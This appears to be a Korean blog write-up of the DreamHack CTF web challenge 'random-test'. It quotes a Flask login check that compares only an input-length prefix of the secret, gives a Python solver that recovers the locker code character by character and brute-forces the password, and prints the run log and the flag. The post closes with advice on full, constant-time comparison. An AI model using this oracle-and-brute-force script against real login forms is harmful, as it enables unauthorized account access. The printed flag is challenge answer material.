2026-06-04·1분 읽기·
로그인 폼이 전체 값이 아니라 입력 길이만큼의 prefix만 비교하면, 한 글자씩 정답을 떠보는 oracle이 된다. 2.1억 조합짜리 사물함 번호+비밀번호를 176번의 요청으로 복원해 플래그를 얻는 과정을 정리했다.
이 글이 도움이 됐나요?
문제: DreamHack — random-test 분류: Web 난이도: 🥉 Bronze 4 FLAG:
DH{2e583205a2555b8890d141b51cee41379cead9a65a957e72d4a99568c0a2f955}
새 학기에 사물함을 배정받은 드림이가 사물함 번호와 비밀번호를 모두 잊어버렸다. 두 값을 맞게 입력하면 플래그가 나온다.
| 항목 | 내용 |
|---|---|
| 문제명 | random-test |
| 난이도 | 🥉 Bronze 4 |
| 분류 | Web (Flask) |
| 제공 파일 / 서버 | app.py + http://host8.dreamhack.games:22962/ |
| 핵심 취약점 | 입력 길이만큼만 비교하는 prefix 일치 누출 (oracle) |
순수 무차별 대입이면 사물함 번호 36⁴(=약 168만) × 비밀번호 101가지 ≈ 2.1억 조합이다. 그대로 다 때려보긴 비현실적이다.
하지만 서버 코드를 보면 비교 로직 한 줄이 정답을 한 글자씩 흘린다. 그 누출을 이용하면 같은 문제가 176번의 요청으로 줄어든다.

제공된 app.py에서 값 생성과 검증 부분만 보면 이렇다.
rand_str = ""
alphanumeric = string.ascii_lowercase + string.digits # 36글자
for i in range(4):
rand_str += str(random.choice(alphanumeric))
rand_num = random.randint(100, 200)
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")
else:
locker_num = request.form.get("locker_num", "")
password = request.form.get("password", "")
if locker_num != "" and rand_str[0:len(locker_num)] == locker_num:
if locker_num == rand_str and password == str(rand_num):
return render_template("index.html", result="FLAG:" + FLAG)
return render_template("index.html", result="Good")
else:
return render_template("index.html", result="Wrong!")rand_str과 rand_num은 함수 밖, 모듈 최상단에서 생성된다. 프로세스가 살아 있는 동안 값이 바뀌지 않는다. 여러 번 나눠서 떠봐도 정답이 그대로 유지된다는 뜻이라, 글자 단위 복원이 성립한다.
노릴 곳은 rand_str[0:len(locker_num)] == locker_num 한 줄이다.
rand_str 전체와 비교하는 게 아니라, 내가 보낸 입력 길이만큼 잘라서 비교한다. locker_num이 정답의 앞부분(prefix)이기만 하면 안쪽 if로 들어가 "Good"을 돌려준다. prefix가 어긋나면 "Wrong!"이다.
세 가지 응답이 그대로 신호가 된다.
| 응답 | 의미 |
|---|---|
Wrong! | 입력이 정답의 prefix가 아님 |
Good | 입력이 정답의 prefix는 맞음 (전체 정답은 아직) |
FLAG:... | 사물함 번호 전체 + 비밀번호까지 정답 |
먼저 완전히 틀린 값(zzzz)을 넣어 Wrong!을 확인한다.

이번엔 한 글자 t만 보낸다. 정답의 첫 글자가 t라면 Good이 나와야 한다.

Good이 떴다. 한 글자만 맞아도 통과한다는 게 눈으로 확인됐다. 정답을 한 글자씩 떠볼 수 있는 oracle이 생긴 것이다.
비밀번호를 한 글자씩 비교하다가 처음 틀리는 곳에서 멈추는 코드는 응답 시간으로 정답을 흘리는 timing 공격의 단골이다. 이 문제는 더 직접적이다. 부분 일치를 아예 "Good"이라는 명시적 신호로 알려준다.
공격 절차는 단순하다.
a, b, c … 36글자를 한 글자씩 보낸다. Good이 뜨는 글자가 첫 글자다.a~9를 붙여 두 글자로 보낸다. Good이 뜨면 그 글자가 둘째 글자.
자리당 최대 36회, 4자리니까 사물함 번호는 최대 144회면 복원된다. 평균은 절반인 72회 정도다.
사물함 번호 전체(locker_num == rand_str)를 맞춘 뒤에도 비밀번호가 틀리면 여전히 Good이 나온다. 그러니 사물함 번호가 확정된 다음 비밀번호 100~200을 차례로 넣어보면 된다. 여기는 최대 101회다.
사물함 전체는 맞고 비밀번호만 틀린 경우(tzl1 / 000)도 똑같이 Good이 나오는 걸 확인할 수 있다 — 두 단계를 가르는 기준은 오직 FLAG: 등장 여부다.
둘을 합쳐 최대 245회, 평균 200회 안쪽. 2.1억 조합이 사실상 선형 탐색으로 무너진다.
requests 세션으로 POST를 날리고 응답 본문에 Wrong!이 없으면 prefix가 맞은 것으로 판정한다. 응답은 Good이든 FLAG:든 둘 다 "prefix 일치"이므로 Wrong! 부재 한 가지로 깔끔하게 갈린다.
def query(locker_num, password=""):
r = s.post(URL, data={"locker_num": locker_num, "password": password}, timeout=10)
return r.text
# 1) prefix oracle로 4글자 복원
locker = ""
for pos in range(4):
for c in ALPHANUM: # ascii_lowercase + digits = 36글자
if "Wrong!" not in query(locker + c):
locker += c # 이 자리 글자 확정
break사물함 번호가 완성되면 비밀번호만 무차별 대입한다.
# 2) 비밀번호 100~200 brute-force
for pw in range(100, 201):
if "FLAG:" in query(locker, str(pw)):
print(pw) # 정답 비밀번호
break#!/usr/bin/python3
# random-test 솔버 — prefix 비교 oracle로 사물함 번호를 한 글자씩 복원하고,
# 비밀번호(100~200)를 무차별 대입해 FLAG를 얻는다.
import sys
import string
import requests
URL = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8077/"
ALPHANUM = string.ascii_lowercase + string.digits # 후보 36글자
s = requests.Session()
def query(locker_num, password=""):
r = s.post(URL, data={"locker_num": locker_num, "password": password}, timeout=10)
return
원격 서버에 그대로 돌린 결과다.
$ python3 solve.py http://host8.dreamhack.games:22962/
[+] pos 0: 't' -> locker = 't'
[+] pos 1: 'z' -> locker = 'tz'
[+] pos 2: 'l' -> locker = 'tzl'
[+] pos 3: '1' -> locker = 'tzl1'
[*] 복원된 사물함 번호: tzl1 (86 requests)
[+] 비밀번호: 189
[*] 총 요청 수: 176
[FLAG] DH{2e583205a2555b8890d141b51cee41379cead9a65a957e72d4a99568c0a2f955}
사물함 번호 tzl1을 86회 만에 복원하고, 비밀번호 189까지 총 176회 요청으로 플래그가 나왔다. 브라우저에서 같은 값을 직접 넣어도 동일하게 플래그가 출력된다.

DH{2e583205a2555b8890d141b51cee41379cead9a65a957e72d4a99568c0a2f955}비밀은 전체를 한 번에 비교해야 한다.
이 문제의 결함은 rand_str[0:len(locker_num)] == locker_num 한 줄이다. 입력 길이에 맞춰 정답을 잘라 비교하는 순간, 맞은 자리가 어디까지인지가 응답에 드러난다.
부분 일치를 알려주면 곱셈이 덧셈이 된다.
원래 사물함 번호는 36 × 36 × 36 × 36의 곱셈 공간이다. 한 자리씩 확정 신호를 주면 36 + 36 + 36 + 36의 덧셈으로 줄어든다. 비밀번호 brute-force까지 더해도 245회면 끝난다. 이게 oracle 공격이 무서운 이유다.
현실에서도 같은 패턴이 반복된다.
로그인 실패 메시지를 "아이디 없음"과 "비밀번호 틀림"으로 나누면 계정 존재 여부가 새고, 비밀번호를 한 글자씩 비교하다 멈추면 응답 시간으로 정답이 샌다. 비교는 정답 길이 기준으로, 끝까지, 가능하면 상수 시간(hmac.compare_digest 같은)으로 하는 게 안전하다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…